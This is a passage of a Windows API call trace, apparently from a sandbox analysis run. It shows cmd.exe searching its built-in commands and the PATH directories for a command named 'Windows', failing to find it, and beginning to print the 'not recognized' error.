lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.509] GetLastError () returned 0x2 [0231.509] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.509] GetLastError () returned 0x2 [0231.509] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.509] GetLastError () returned 0x2 [0231.510] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.510] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.510] GetLastError () returned 0x2 [0231.510] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.510] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0231.510] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0231.510] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.510] GetLastError () returned 0x2 [0231.510] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.511] GetLastError () returned 0x2 [0231.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.511] GetLastError () returned 0x2 [0231.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.511] GetLastError () returned 0x2 [0231.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.511] GetLastError () returned 0x2 [0231.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.511] GetLastError () returned 0x2 [0231.512] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.512] GetLastError () returned 0x2 [0231.512] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.512] GetLastError () returned 0x2 [0231.512] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.512] GetLastError () returned 0x2 [0231.512] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.512] GetLastError () returned 0x2 [0231.512] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.513] GetLastError () returned 0x2 [0231.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.513] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.513] GetLastError () returned 0x2 [0231.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.513] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.513] GetLastError () returned 0x2 [0231.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.513] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.514] GetLastError () returned 0x2 [0231.514] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.514] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.514] GetLastError () returned 0x2 [0231.514] ??_V@YAXPEAX@Z () returned 0x1 [0231.514] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.515] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.515] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.515] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.515] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.516] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.516] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.516] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.516] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.516] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.516] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.516] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.516] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.516] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.516] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.516] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.516] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.516] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.516] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.517] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.517] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.517] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.517] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.517] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.517] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.517] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.517] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.517] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.517] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.517] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.517] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.517] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.517] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.517] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.518] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.518] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.518] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.518] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.518] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.518] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.518] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.518] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.518] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.518] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.518] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.518] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.518] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.518] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.518] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.518] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.518] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.518] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.518] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.518] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.518] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.518] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.518] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.518] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.518] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.518] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.518] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.518] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.518] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.518] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.518] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.519] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.519] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.519] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.519] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.519] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.519] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.519] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.519] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.519] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.519] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.519] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.519] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.519] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.519] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.519] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.519] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.519] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.519] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.519] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.519] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.519] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.519] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.519] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.519] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.519] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.519] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.519] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.519] ??_V@YAXPEAX@Z () returned 0x1 [0231.520] GetProcessHeap () returned 0x20b0f920000 [0231.520] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.520] GetProcessHeap () returned 0x20b0f920000 [0231.520] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d600 [0231.520] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.520] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.520] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.521] GetProcessHeap () returned 0x20b0f920000 [0231.521] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.522] SetErrorMode (uMode=0x0) returned 0x0 [0231.522] SetErrorMode (uMode=0x1) returned 0x0 [0231.522] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.522] SetErrorMode (uMode=0x0) returned 0x1 [0231.522] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.523] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.523] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.523] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956e20 [0231.523] GetProcessHeap () returned 0x20b0f920000 [0231.523] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956e20) returned 0x7e [0231.523] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.524] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d270 [0231.524] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0231.524] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.524] GetLastError () returned 0x2 [0231.524] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.524] GetLastError () returned 0x2 [0231.524] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.525] GetLastError () returned 0x2 [0231.525] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.525] GetLastError () returned 0x2 [0231.525] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.525] GetLastError () returned 0x2 [0231.525] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.525] GetLastError () returned 0x2 [0231.526] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.526] GetLastError () returned 0x2 [0231.526] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.526] GetLastError () returned 0x2 [0231.526] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.526] GetLastError () returned 0x2 [0231.526] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.526] GetLastError () returned 0x2 [0231.526] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.527] GetLastError () returned 0x2 [0231.527] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.527] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.527] GetLastError () returned 0x2 [0231.527] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.527] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0231.527] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0231.527] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.527] GetLastError () returned 0x2 [0231.527] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.528] GetLastError () returned 0x2 [0231.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.528] GetLastError () returned 0x2 [0231.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.528] GetLastError () returned 0x2 [0231.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.528] GetLastError () returned 0x2 [0231.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.529] GetLastError () returned 0x2 [0231.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.529] GetLastError () returned 0x2 [0231.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.529] GetLastError () returned 0x2 [0231.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.530] GetLastError () returned 0x2 [0231.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.530] GetLastError () returned 0x2 [0231.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.530] GetLastError () returned 0x2 [0231.530] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.531] GetLastError () returned 0x2 [0231.531] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.531] GetLastError () returned 0x2 [0231.531] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.531] GetLastError () returned 0x2 [0231.531] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.531] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.531] GetLastError () returned 0x2 [0231.531] ??_V@YAXPEAX@Z () returned 0x1 [0231.532] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.532] GetFileType (hFile=0x54) returned 0x2 [0231.532] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.532] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.535] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.535] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.535] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.535] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.535] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: 